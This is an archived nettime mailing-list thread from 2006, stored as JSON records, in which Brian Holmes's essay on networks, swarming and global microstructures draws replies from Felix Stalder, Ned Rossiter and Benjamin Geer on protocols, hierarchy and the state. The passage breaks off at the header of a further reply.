                "content": "Albert Hupa wrote:\n\n>Let's consciously combine two meanings of a network: a map, a set of \n>relations\n>analyzed from ecological point of view and the kind of behaviour....  That \n>is\n>why I think of using the notion of swarm - its emergent behaviour cannot be\n>described as unpredictable. We may find out some patterns in its behaviour \n>and\n>thus, learn something out of networks.\n\nYes, I agree. The static graph of the network map is what \nleads, via the dynamic figure of the swarm, to a certain \nkind of complexity theory as a possible way to understand \nemergent behavior in the real world.\n\nOn the one hand, the use of social network analysis tools is \ngiving us pictures of very complicated interlinkages between \nindividuals and groups. These pictures are quite simply \nfascinating, because they aggregate lots of data and allow \none to glimpse patterns, or at least, the possibility of \npatterns, of regularities. But the maps are not enough. One \nneeds an understanding of the quality of the links \nthemselves, of what encourages a group to cooperate even \nwhen its membership is atomized and dispersed in space. \nOlder sociological and anthropological studies tell a lot \nabout how institutions organize a group (church, firm, \ndisciplinary organization, etc) and they also tell a great \ndeal about how family structures and status hierarchies \norganize people in stable localities. However, when the grip \nof institutions and of place-bound hierarchies declines, as \nis happening today, and when society largely becomes a \nmatter of dispersions of  mobile individuals in anonymous \nspaces - the big city; the world; the telecommunicational \nspace - the only behavior that has really been understood \nvery well is market behavior. We know A LOT (too much I \nwould even say) about how price signals serve to structure \nthe economic behavior of dispersed and mobile individuals, \nwho are always portrayed as rationally calculating in order \nto maximalize their accumulation stategies (this is called \n\"methodological individualism\"). But is individual economic \nbehavior the only kind that can be witnessed in the world \ntoday? Obviously not! Or let us say, rather, that within the \nspace of very weakly determined social relations constituted \nby the market and price signals - the space of what the \nnetwork sociologist Mark Granovetter famously called \"weak \nties\" - other subsets or relational forms have started to \nappear.\n\nThis is where the questions asked by complexity theory \nbecome so interesting and timely. What gives form and \npattern to emergent behavior? How can we understand the \ninternal consistency of self-organized groups and networks? \nThe first answer seemed to be offered by the figure of the \nswarm. The word \"swarming\" describes a pattern of \nself-organization in real time, which seems to arise out of \nnowhere (or to be emergent) and yet which is recognizable, \nbecause it repeats in a more or less rhythmical way. \nSwarming is an initial image of self-organization. It is \nbasically a pattern of attack, and here it's worth recalling \nthe classic definition given by the military theorists \nArquila and Ronfeldt in their book on \"The Zapatista 'Social \nNetwar' in Mexico\": \"Swarming occurs when the dispersed \nunits of a network of small (and perhaps some large) forces \nconverge on a target from multiple directions. The overall \naim is sustainable pulsing--swarm networks must be able to \ncoalesce rapidly and stealthily on a target, then dissever \nand redisperse, immediately ready to recombine for a new \npulse.\"\n\nWhat the observation and description of swarming has done is \nto give us a temporal image of emergent activity, decisively \nadding a dynamic aspect which was absent from the static \nnetwork maps. This is very suggestive for anyone looking to \nunderstand the kinds of behavior that seem to be associated \nwith networks, and indeed, with a \"networked society.\" But \ndoes the dynamic image of swarming really tell us how \nself-organization occurs? No, I don't think so. The proof is \nthat the American and Israeli military theorists have made \ndynamic models of what they see as the swarm tactic, and \nthey now claim to use it as what they call a doctrine (see, \nfor this, the important and sobering text by Eyal Weizman, \n\"Walking through Walls,\" published in the current issue of \nRadical Philosophy). However, I do not believe that the \nmiliary can engage in anything approximating \nself-organization, where individuals spontaneously \ncoordinate their actions with others. This is antithetical \nto its hierarchical structure of command. Again, the \n\"picture\" can be misleading, even when it is a dynamic one. \nWhat is interesting, and perhaps essential to understand, is \nthe way individuals and small groups spontaneously \ncoordinate their actions, without any orders. This is \nself-organization, this is emergent behavior. But from what \n\"ecology\" does it emerge - to use Albert's term?\n\nI am beginning to think that there are two fundamental \nfactors that help to explain the consistency of \nself-organized human activity. The first is the existence of \na shared horizon - aesthetic, ethical, philosophical, and/or \nmetaphysical - which is patiently and deliberately built up \nover time, and which gives the members of a group the \ncapacity to recognize each other as existing within the same \nreferential universe, even when they are dispersed and \nmobile. You can think of this as \"making worlds.\" The second \nis the capacity for temporal coordination at a distance: the \nexchange among a dispersed group of information, but also of \naffect, about unique events that are continuously unfolding \nin specific locations. This exchange of information and \naffect then becomes a set of constantly changing, constantly \nreinterpreted clues about how to act in the shared world. \nThe flow aspect of the exchange means that the group is \nconstantly evolving, and it is in this sense that it is an \n\"ecology,\" a set of complex and changing inter-relations; \nbut this dynamic ecology has consistency and durability, it \nbecomes recognizable and distinctive within the larger \nevironment of the earth and its populations, because of the \nshared horizon that links the participants together in what \nappears as a world (or indeed as a cosmos, when metaphysical \nor religious beliefs are at work).\n\nMaurizio Lazarrato set me off on this line of thinking, with \nan article that we published in issue 15 of Multitudes and \nfor which I suggested this title (just excerpted from \nimportant phrases in his text): \"Creating Worlds: \nContemporary capitalism and aesthetic 'wars.'\" (Since then, \nall that work has been published in French under the title \n\"Les revolutions du capitalisme,\" and bits have appeared in \nEnglish all over the net.) Lazarrato pursues the Deleuzian \nconcept of \"modulation\" to show how corporations strive to \ncreate worlds of aeesthetic perception and affect for their \nproducers and consumers, in order to bind them together into \nsome semblance of coordinated communities under the \ndispersed conditions of contemporary life. They do so via \nthe media, which create aesthetic environments that are \ninternalized within us in the form of recurring \"refrains,\" \nor rhythmically recurring memories of a sounds, colors, \nwords, etc. Lazzarato shows how these worlds, even in their \ndifference and plurality (Coca-Cola, Nike, Microsoft, \nMacintosh...) conform to a \"majority model\" which is \nprecisely that of capitalist production and consumption as \nstructured by the bureaucratic state apparatuses and the \ntransnational institutions that have formed between them. \nNonetheless, the important thing to note is that in \nhyperindividualized societies, even these normalized forms \nof behavior are no longer directly shaped by institutional \nstructures. Instead, there are multiple efforts and \nveritable aesthetic battle to create and maintain the \nreferential universes within which choices are constantly made.\n\nBut this creation of worlds is not only done by \ncorporations, and not only at the degree of simplicity and \nsterility that examples from the commercial realm inevitably \nsuggest. To describe the specific contents out of which \nricher and vaster worlds of meaning are made, and to detail \nthe effects of the specific tools and procedures that make \nit possible to continuously transform them and to coordinate \nactions within their horizons, are the tasks of a complexity \ntheory which seeks to understand how groups organize their \nown behavior, when they are no longer decisively influenced \nby traditional institutions. Bateson pointed the way to this \npossibility of a cybernetic understanding, an understanding \nof feedback processes, with his \"Steps to an Ecology of \nMind.\" Guattari tried to create even more dynamic models of \nsuch human ecologies, particularly in his great and strange \nbook \"Cartographies schizoanalytiques.\" These are still \nprobably the most important references for the art of \ncomposing mutable worlds, where the goal of the participants \nis to carry out continuous transformation of the very \nparameters and coordinates on which their interactions are \nbased (this is also understood as 3rd-order cybernetics, \nwhere the system produces not just new information, but new \ncategories of information). Today, however, it is the \nsociologist Karin Knorr Cetina (thanks, by the way, to the \nseveral people who sent me her recent article!) who has \nexpressed all this most clearly and in the most mainstream \nlanguage, which can't just be ignored or tossed off as the \nwork of a kook. Her ideas bring us back to networks and \ntheir concrete operations, with the concept of \"global \nmicrostructures.\" As she writes in \"Complex Global \nMicrostructures\":\n\n\"Modern, industrial society created 'complex' forms of \norganizations that managed uncertainty and task fulfillment \nthrough interiorized systems of control and expertise. But \ncomplexity was institutional complexity; it meant \nsophisticated multi-level mechanisms of coordination, \nauthority and compensation that assured orderly functioning \nand performance. A global society leans towards a different \nform of complexity; one emanating from more microstructural \narrangements and the rise of mechanisms of coordination akin \nto those found in interaction systems.... The basic \nintuition that motivates the concept of a global \nmicrostructure is that genuinely global forms, by which I \nmean fields of practice that link up and stretch across all \ntime zones (or have the potential to do so), need not imply \nfurther expansions of social institutional complexity. In \nfact, they may become feasible only if they avoid complex \ninstitutional structures. Global financial markets for \nexample, where microstructures have been found, simply \noutrun the capacity of such structures. These markets are \ntoo fast, and change too quickly to be 'contained' by \ninstitutional orders. Global systems based on \nmicrostructural principles do not exhibit institutional \ncomplexity but rather the asymmetries, unpredictabilities \nand playfulness of complex (and dispersed) interaction \npatterns; a complexity that results, in John Urry?s terms, \nfrom a situation where order is not the outcome of purified \nsocial processes and is always intertwined with chaos. More \nconcretely, these systems manifest an observational and \ntemporal dynamics that is fundamental to their connectivity, \nauto-affective principles of self-motivation, forms of \n'outsourcing', and principles of content that substitute for \nthe principles and mechanisms of the modern, complex \norganization.\"\n\nKnorr Cetina stresses the creation of shared horizons in \nmuch the way that I described it above, focusing for this \nparticular article on the religious horizon of a shared \norientation to \"transcendent time\" (eschatology). As in \nprevious articles on the microstructures of global finance, \nshe also shows how networked ITCs allow participants of the \nmicrostructure to see and recognize each other, and to \nachieve cohesion by coordinating with each other in time, \nobserving and commenting on the same events, even though the \nmicrostructure is very dispersed and not all the \nparticipants or even a majority of them are necessarily \nliving anywhere near the particular event in question at any \ngiven moment. Cetina very suggestively reinterprets the \nusual idea of networks as a system of pipes conveying \ncontents, to insist instead on the visual or scopic aspect \nof contemporary ICTs: from \"pipes\" to \"scopes.\" Information \nis important for coordinating action; but it is the image \nthat maintains the shared horizon and insists on the urgency \nof action within it (especially through what Barthes called \nthe \"punctum\": the part that sticks out from the general \ndull flatness of the image and affectively touches you).\n\nTo understand how all this works, one essential thing is to \nrealize that it is different in each case: the \"ecologies\" \nare very different, depending on the coordinates or \nparameters that give rise to the particular microstructure. \nFor one example, take the case of the open-source software \nmovement. One the one hand you have a shared ethical horizon \nwhich is constituted by texts and examplary projects: \nStallman's declarations and the example of the GNU project; \nTorvald's work; the General Public License itself and all \nthe principles it is based on, particularly the indication \nof authorship (permitting recognition for one's efforts) and \nthe openness of the resulting code (permitting widespread \ncooperation); as well as essays like The Hacker Ethic; \nprojects like Creative Commons; the relation of all that to \nolder ideals of public science; etc. Then on the other hand \nyou have concrete modes of coordination via the Internet: \nSourceforge and the innumerable forums devoted to each free \nsoftware project (which I've been getting to know as I \nstruggle with my Ubuntu distro, ha ha!). The whole thing has \nas little institutional complexity as possible (nobody is \nreally compelled to do anything in any particular way), but \ninstead is a situation full of self-motivation and \nauto-affection between dispersed members of a nonetheless \nvery recognizable network, coordinated temporally around the \ndevelopment of specific projects, where order is obviously \nintertwined with chaos! And clearly, this particular global \nmicrostructure is influential in the world.\n\nAnother great example, though more diffuse and complex, is \nthe development of the counter-globalization movements. \nAgain you can see the shared horizons of social justice, \necological awareness, resistance to hierarchical power (of \nthe state and corporations), with reference to a \nconstellation of texts and a number of great mythical \nmoments of exemplary events (Seattle, Genoa, Cancun, etc). \nThen you see the coordinating systems, including Internet \nchannels (indymedia, a myriad of web sites and mailing \nlists), but also forums and meetings (Zapatista encuentros; \nPGA meetings; counter-summits; social forums; activist \ncampaigns). Even more clearly than the open-source projects, \nthe counter-globalization movements are a universe of \nuniverses: the entire set of movements tries to distinguish \nitself from so-called \"capitalist globalization\", while a \nmyriad of other, more specific horizons are established and \nmaintained within that larger distinction.\n\nBoth the open-source software movements and the \ncounter-globalization movements have been capable of \nswarming behaviors. Indeed, the very idea of swarming arose \nfrom the particular form of solidarity between international \nNGOs and the Zapatists. In terms of open-source, one can \nconsider all the peer-to-peer projects that emerged after \nthe illegalization of Napster as successive swarm attacks on \nthe content-provider industries. There is that classic \npattern of converging, striking (in this case by producing \nnew content-sharing programs), then dissevering, only to \nconverge again at a different point (a new program, perhaps \nfor video-sharing like Bit Torrent, or a hack of a DRM \nsystem, etc). Of course, different individuals are involved \neach time, different groups, differences of philosophy and \nmode of action; but a shared horizon makes all those \ndifferences also recognizable as somehow belonging together. \nThis is the complexity of self-organization. You would again \nsee such processes in action if you traced the history of \nthe Mayday processes around flexible labor. But it is clear \nthat by looking at these things in \"ecological\" terms you \nget a much richer picture, which is not limited to the \nvisible dynamics of swarming.\n\nNow, I think these tendencies toward the emergence of global \nmicrostructures in a weakened institutional environment have \nbeen going on for decades. But it is clear that a \nturning-point was reached when one microstructure with a \nparticularly strong religious horizon and a particularly \nwell-developed relational and operational toolkit - Al Qaeda \n- was able to strike at the centers of capital accumulation \nand military power in the US (WTC and Pentagon). Suddenly, \nthe capacity of networks to operate globally, independently \nand unpredictably, began to appear as a crisis affecting the \ndeep structures of social power. At that point, the figure \nof the swarm rushed to the forefront of all the military \ndiscussions; and in a broader way, the question of whether \ncomplexity theory could really predict the emergent \nbehavior of self-organizing networks became a kind of \npriority in social science. Knorr Cetina's article on \nmicrostructures is subtitled \"The New Terrorist Societies,\" \nand it is about Al Qaeda (though her earlier work on \nmicrostructures is about currency-trading markets). But at \nthe same time as the interest in swarming and complexity \ntheory moved to the forefront of offical social science, one \ngradually became aware (I did anyway) that all over the \nworld, serious attempts were underway to \"overcode\" and \nstabilize the dangerously mobile relational forms that had \nbeen unleashed by the generalization of the market and its \nweak ties.\n\nOn the one hand there is an attempt to enforce the rules of \nthe neoliberal world market by military force, and thus to \ncomplete an Imperial project which has now shown itself to \nbe clearly Anglo-American in origin and in aims. This \nattempt is most clear in the book \"The Pentagon's New Map\" \nby Thomas Barnett, where he explains that the goal of \nAmerican military policy must be to identify the \"gaps\" in \nthe world network of finance and trade, and to \"close the \ngap,\" by force if necessary. The thesis (on which the Iraq \ninvasion was partially based) is that only a continuous \nextension of the world market and of its deterritorializing \ntechnologies can bring peace and prosperity, rooting out the \natavistic religious beliefs on which terrorism feeds, and in \nthe process, rationalizing the access to the resources that \nthe capitalist world system needs to go on producing \"growth \nfor everyone.\"\n\nOn the other hand, however, what we see in response to this \nextension of the world are market are regressions to \nsovereignist or neofascist forms of nationalism, and perhaps \nmore significantly, attempts to configure great continental \neconomic blocs where the instability and relative chaos of \nmarket relations could be submitted to some institutional \ncontrol. These attempts can also be conceived as \n\"counter-movements\" in Karl Polanyi's sense: responses to \nthe atomization of societies and the destruction of \ninstitutions brought about by the unfettered operations of a \nsupposedly self-regulating market. They can be listed: NAFTA \nitself; the European Union, which has created its own \ncurrency; ASEAN+3, which represents East Asia's so-far \nabortive attempt to put together a stabilized monetary bloc \noffering protection from the financial crises continuously \nunleashed by neoliberalism; the Venezuelan project of \n\"ALBA,\" which is raising the issue of possible industrial \ncooperation programs for a left-leaning Latin America; and \nof course, the \"New Caliphate\"  in the Middle East, which is \nbeing proposed by Al-Qaeda and the other Salafi jihad \nmovements. Perhaps people with more knowledge than I could \ntalk about what is happening on this level in the Russian \nconfederation, on the Indian subcontinent and in Africa.\n\nI think that in years to come, everyone will increasingly \nhave to take a position with respect both to the Imperial \nproject  of a world market, and to the regressive \nnationalisms and the more complex processes of bloc \nformation. All these things are contradictory with each \nother and their contradictions are at the source of the \nconflicts in the world today. In this respect, Guattari's \nperception, at the close of the 1980s in \"Cartographies \nschizoanalytiques,\" has proved prophetic:\n\n\"From time immemorial, and in all its historical guises, the \ncapitalist drive has always combined two fundamental \ncomponents: the first, which I call deterritorialization, \nhas to do with the destruction of social territories, \ncollective identities, and systems of traditional values; \nthe second, which I call the movement of \nreterritorialization, has to do with the recomposition, even \nby the most artificial means, of individuated frameworks of \npersonhood, structures of power, and models of submission \nwhich are, if not formally similar to those the drive has \ndestroyed, at least homothetical from a functional \nperspective. As the deterritorializing revolutions, tied to \nthe development of science, technology, and the arts, sweep \neverything aside before them, a compulsion toward subjective \nreterritorialization also emerges. And this antagonism is \nheightened even more with the phenomenal growth of the \ncommunications and computer fields, to the point where the \nlatter concentrate their deterritorializing effects on such \nhuman faculties as memory, perception, understanding, \nimagination, etc. In this way, a certain formula of \nanthropological functioning, a certain ancestral model of \nhumanity, is expropriated at its very heart. And I think \nthat it is as a result of an incapacity to adequately \nconfront this phenomenal mutation that collective \nsubjectivity has abandoned itself to the absurd wave of \nconservatism that we are presently witnessing.\"*\n\nThe question that complexity theory allows us to ask is \nthis: How do we organize ourselves for a viable response to \nthe double violence of capitalist deterritorialization and \nthe nationalist or identitarian reterritorialization to \nwhich it inevitably gives rise? It must be understood that \nthis dilemna does not take the form of Christianity versus \nIslam, America versus the Middle East, Bush versus Bin \nLaden. Rather it arises at the \"very heart\" of the modern \nproject, where human potential is \"expropriated.\" Since \nSeptember 11. the USA - and tendentially, the entire \nso-called \"Western world\" - has at once exacerbated the \nabstract, hyperindividualizing dynamics of capitalist \nglobalization, and at the same time, has reinvented the most \narchaic figures of identitarian power (Guantanamo, fortress \nEurope, the dichotomy of sovereign majesty and bare life). \nGuattari speaks of a capitalist \"drive\" to \ndeterritorialization, and of a \"compulsion\" to \nreterritorialization. What this means is that neither \npolarity is inherently positive or negative; rather, both \nare twisted into the violent and oppressive forms that we \nnow see developing at such a terrifying and depressing pace. \nThe ultimate effect is to render the promise of a world \nwithout borders strange, cold and even murderous, while at \nthe same time precipitating a crisis, decay and regression \nof national institutions, which appear increasingly \nincapable of contributing to equality or the respect for \ndifference.\n\nSo the question that arises is whether one can consciously \nparticipate in the improvisational, assymetrical and \npartially chaotic force of global microstructures, making \nuse of their relative autonomy from institutional norms as a \nway to influence a more positive reterritorialization, a \nmore healthy and dynamic equilibrium, a better coexistence \nwith the movement of technological development and global \nunification? The question is not farfetched, it is not a \nmere intellectual abstraction. Knorr Cetina's strong point \nis that global unification cannot occur through \ninstitutional process, because it is too complex to be \nmanaged in that way; instead, the leading edge is taken by \nlighter, faster, less predictable microstructures. Clearly, \nnothing guarantees that these are going to be beneficent. \nThe forms that they will take remain open, they depend on \nthe people who invent them. In his recent book, Lazzarato \nwrites:\n\n\"The activist is not someone who becomes the brains of the \nmovement, who sums up its force, anticipates its choices, \ndraws his or her legitimacy from a capacity to read and \ninterepret the evolution of power, but instead, the activist \nis simply someone who introduces a discontinuity in what \nexists. She creates a bifurcation in the flow of words, of \ndesires, of images, to put them at the service of the \nmultiplicity's power of articulation; she links the singular \nsituations together, without placing herself at a superior \nand totalizing point of view. She is an experimenter.\"\n\nThe close of the book makes clear, however, that what should \nbe sought is not just a joyous escape into the \nunpredictable. The point of this experimentation is to find \narticulations [agencements, which might also be translated \nas microstructures] that can oppose the literally \ndeath-dealing powers of the present society, and offer \nalternatives in their place. My guess is that in most cases, \nthis can happen not at the local level of withdrawal (though \nthat may be fertile), nor at the level of national \ninstitutions and debates (though these will be essential for \nholding off the worst), but most likely at the regional or \ncontinental level, particularly where the core economies \noverflow into their peripheries and vice-versa. This is the \nlevel where the most important policy is now being made, the \nlevel at which the major economic circuits are functioning \nand at which massive social injustice and ecological damage \nis happening all the time. What's really lacking are all \nkinds of border-crossing experiments, ways to subvert the \nmacrostructures of inclusion/exclusion and to redraw the \nmaps of coexistence. Ultimately, new kinds of institutions \nand new ways of relating to institutions will be needed, if \nthere is to be any hope of stabilizing things and surviving \nthe vast transition now underway. But we're not there yet, \nand it doesn't seem likely that any upcoming election will \nstart the process. Instead it seems that much of the danger \nand the promise of the present moment can be found in the \ncomplex relations between network, swarm and microstructure.\n\n\nbest, BH\n\n\nNote\n*I've altered the (relatively poor) translation of \nGuattari's text \"Du post-modernisme a l'ere post-media,\" \nwhich is on pp. 53-61 of Cartographies schizoanalytiques, \nand on pp. 109-13 of The Guattari reader, under the title \n\"The Postmodern Impasse.\" The key phrase, \"un certain modele \nancestral d'humanite qui se trouve ainsi exproprie au coeur \nde lui-meme,\" becomes \"is appropriated from the inside\"! The \nreverse of the original! No wonder people think Guattari is \nso hard to read...\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00041.html",
                "list": "nettime_l",
                "author_name": "Brian Holmes",
                "subject": "<nettime> Network, Swarm, Microstructur",
                "from": "Brian Holmes <brian.holmes {AT} wanadoo.fr>",
                "follow-up": [
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\nWow! What an essay. It took me two days just to read it, and I think I'll have \nto read it a few more times. \n\nFor the time being, I'll stick to half a paragraph, which is key in my view.\n\n> I am beginning to think that there are two fundamental\n> factors that help to explain the consistency of\n> self-organized human activity. The first is the existence of\n> a shared horizon - aesthetic, ethical, philosophical, and/or\n> metaphysical - which is patiently and deliberately built up\n> over time, and which gives the members of a group the\n> capacity to recognize each other as existing within the same\n> referential universe, even when they are dispersed and\n> mobile. You can think of this as \"making worlds.\" The second\n> is the capacity for temporal coordination at a distance: the\n> exchange among a dispersed group of information, but also of\n> affect, about unique events that are continuously unfolding\n> in specific locations. This exchange of information and\n> affect then becomes a set of constantly changing, constantly\n> reinterpreted clues about how to act in the shared world.\n\nAll networks can be defined by their protocols, formal rules that set the \nterms of engagement of otherwise independent agents. Protocols enable \ninteraction without a hierarchy. Indeed, the protocol creates the space of the \npossible (or, the shared horizon, to use Brian's term) and in order to \nparticipate in a network, actors have to adhere to the dominant protocols. \nWithout a protocol, there is no network.\n\nNow, networks have multiple dimensions, and on each of those protocols \noperate. Most readily distinguisheable are technical and social protocols, \neven though there are obvious interrelations between them. Technical protocols \nare things like TCP/IP, Bittorrent, SMTP or others. Social protocols are \nstyles of communication, shared assumptions and values, common projects etc.\n\nProtocols are not fixed, they can be adapted, but since they are what makes a \nnetwork a network, they are very hard to change from the inside. It's \ndifficult to cooperatively transform the very condition of cooperation. \nHence, it's often easier to create new networks, rather than transform old \nones, particularly since there can be overlap between the two in term of some \nagents agreeing on new protocols. Networks can fork, particularly is \nthe resource of the network is digital information.\n\nThe reason why we are all speaking about networks now is that information and \ncommunication technology (ICT) has decisively affected balance between \nflexibility and coordination in social organizations. Until very recently, \nthese two aspects stood in an inverse negative relationship to one another. \nAs coordination increased, flexibility went down. Large projects (think of \nstates, armies, major companies etc) tended to be highly structured in order \nto manage scale (the history of this development is analyzed in Alfred \nChandler's classic 'The Visible Hand. The Managerial Revolution in American \nBusiness.'). This was, to a large degree, a function of their information \nprocessing. Vertically integrated hierarchies are relatively information-poor \nforms of organization. Thus they can handle large coordination tasks by \npassing around slips of paper with information printed on them, at the price \nof turning inflexible (an 'iron cage' as Max Weber saw it at the height of the \nbureaucratic model, 100 years ago).\n\nICTs are enabling (just enabling, not determining) people and organizations to \nhandle much, much more information efficiently, hence they still can scale, \nbut to not need to accept inflexibility as the trade-off. In other words, \neven large organizations, or, perhaps to be more precise, large projects \nundertaken my multiple entities, some as small as individuals, are now \norganized as networks (or at least face competition from networks). \n\nThis ability of multiple entities to undertake very large projects, loosely \ncoordinated, is what is fuelling the renaissance of notions such as \n\"multitude\" which aim to express this still hard-to-grasp combination \nflexibility (agents remain semi-autonomous) and coordination (they do \nsomething larger than themselves).\n\nSuch large scale networks, or large scale projects carried by multiple smaller \nnetworked organizations, are highly communicative, not just because their \ncoordination requires lots of exchanges, but also their output is, to a large \ndegree, communication as well (new cultural codes, new scientific discoveries \nand procedures, new management methods etc etc). Indeed, geographically \ndispersed networks are held together by nothing but communication. It \nprovides their shared horizon.\n\nWhen stressing the importance of communication, this should not be understood \nas somehow taking place on a different level than production. In fact, the \nactivity of communication and production are more and more merging. The \nattempt to expand the proprietary logic of capitalist production into the \nshared space of social communication creates one of the fundamental tensions \ncharacteristic of informational societies.\n\nIn other words, in order to communicate and be productive, one has to join, by \nchoice or coercion, a particular networks (or several, more likely), thus \naccept their protocols and have one's view of the world defined by a shared \nhorizon. Only within the network, one has access to the resources of \ncommunication/production. Outside a network, there is nothing but isolation \nand inaction. Hence, Brian, wanting to use Ubuntu, has to join the Ubuntu \ncommunity, and learn how to cope with its particular culture. There's no way \naround it.\n\nThus, as Brian writes, networks create their own world, by creating a unique \narray of resources enabling entities to become actors, that is, to \ncommunicate and produce. However, they do so on the basis of particular and \nspecific protocols defining the particular character of the network's world. \n\nThe notion of a network's world is not metaphorical, but actual, even \nphysical. For example, networks create their own geography of closeness and \ndistance. They create their own physical environment (think airports, or \nradical community centers, etc.). They create their own time scale, defining \nthe rhythms of interaction, and, more importantly, the temporal horizons \nwhich bind their actions. And in terms of making worlds, of creating your own \ncoordinates of time and space, it go any further than this. There is, \nliterally, nothing behind it.\n\nSo much for now. Felix \n\n\n\n\n\n\n\n\n\n\n\n\n\n----http://felix.openflows.org------------------------------ out now:\n*|Manuel Castells and the Theory of the Network Society. Polity, 2006 \n*|Open Cultures and the Nature of Networks. Ed. Futura/Revolver, 2005 \n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00048",
                        "date": "Wed, 19 Apr 2006 14:53:32 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWCAq&#45;0007Fs&#45;6O {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00048.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "Ned Rossiter <n.rossiter {AT} ulster.ac.uk>",
                        "content": "Felix,\n\nI'm really surprised you persist with the idea that networks (as  \nprotocols) are without hierarchies:\n\n>\n> All networks can be defined by their protocols, [...] Protocols enable\n> interaction without a hierarchy.\n\n\nBecause in that same first paragraph you contradict yourself:\n\n> in order to\n> participate in a network, actors have to adhere to the dominant  \n> protocols.\n\nand later:\n\n> In other words, in order to communicate and be productive, one has  \n> to join, by\n> choice or coercion, a particular networks (or several, more  \n> likely), thus\n> accept their protocols and have one's view of the world defined by  \n> a shared\n> horizon\n\nadherence is another word for submission, and in the case of networks  \nit's submission to social/technical protocols that is done willingly,  \nalthough often with tensions of one kind or another (thus the  \npolitics of networks). Another way of understanding this is that in  \norder to participate within a network, one must accept the prevailing  \nhierarchies (modalities of governance/protocols). But this isn't to  \nsay that hierarchies can't be changed or shifted, only that they exist.\n\nAs a moderator of nettime, you know all too well the way in which  \nhierarchies are played out.\n\nSo let's accept that hierarchies are essential to networks, and the  \nquestion of governance is going nowhere for as long as we persist to  \nspeak of networks in terms of absolute horizontal relations (or in  \nthe case of communes example, spaces of consensus).  That's simply  \nincorrect, and your own text demonstrates that.\n\nNed\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00049",
                        "date": "Wed, 19 Apr 2006 17:26:32 +0100",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FWHJj&#45;0002PT&#45;6P {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00049.html",
                        "content-type": "text/plai",
                        "author_name": "Ned Rossiter",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "\"Benjamin Geer\" <benjamin.geer {AT} gmail.com>",
                        "content": "On 19/04/06, Felix Stalder <felix {AT} openflows.org> wrote:\n> Large projects (think of\n> states, armies, major companies etc) tended to be highly structured in order\n> to manage scale [...]\n> ICTs are enabling (just enabling, not determining) people and organizations to\n> handle much, much more information efficiently, hence they still can scale,\n> but to not need to accept inflexibility as the trade-off. [...]\n> This ability of multiple entities to undertake very large projects, loosely\n> coordinated, is what is fuelling the renaissance of notions such as\n> \"multitude\" [...]\n> networks create their own geography of closeness and\n> distance. They create their own physical environment (think airports, or\n> radical community centers, etc.).\n\nWhile I agree that new kinds of organisations have appeared in which protocols\nplay a more important role than in the past, I think it would be a mistake to see\nthem as alternatives to older structures, because in reality they depend\ncompletely on these older structures for their existence.  Internet protocols can\nfunction because \"states, armies, major companies, etc.\" control the land and the\nenergy resources, produce the hardware, lay the cable, launch the satellites, and\nso on, on which the whole network relies.  The same goes for airports.  Thus\nnetworks don't \"create their own physical environment\"; they exist in an\nenvironment that traditional organisations allow them to use.\n\nSimilarly, the financial markets, so often cited as an example of spontaneous,\nself-structuring collective behaviour, depend on states to provide a reliable\nregulatory environment in which they can operate.  More importantly, they are\nultimately subject to the authority of those states' central banks.  Since banks\ndo business with central banks only at the latter's pleasure, the US government,\nfor example, is fully capable of imposing practically any sort of regulations on\nthe world's financial markets.\n\nIf anyone has proposed a theory explaining how a network could control territory\nthrough military power and take over the functions of the state, I'd like to hear\nabout it.\n\nBen\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00051",
                        "date": "Wed, 19 Apr 2006 18:56:21 +0200",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FWHLS&#45;0002Q5&#45;0P {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00051.html",
                        "content-type": "text/plai",
                        "author_name": "Benjamin Geer",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "\"Shannon Clark\" <shannon {AT} jigzaw.com>",
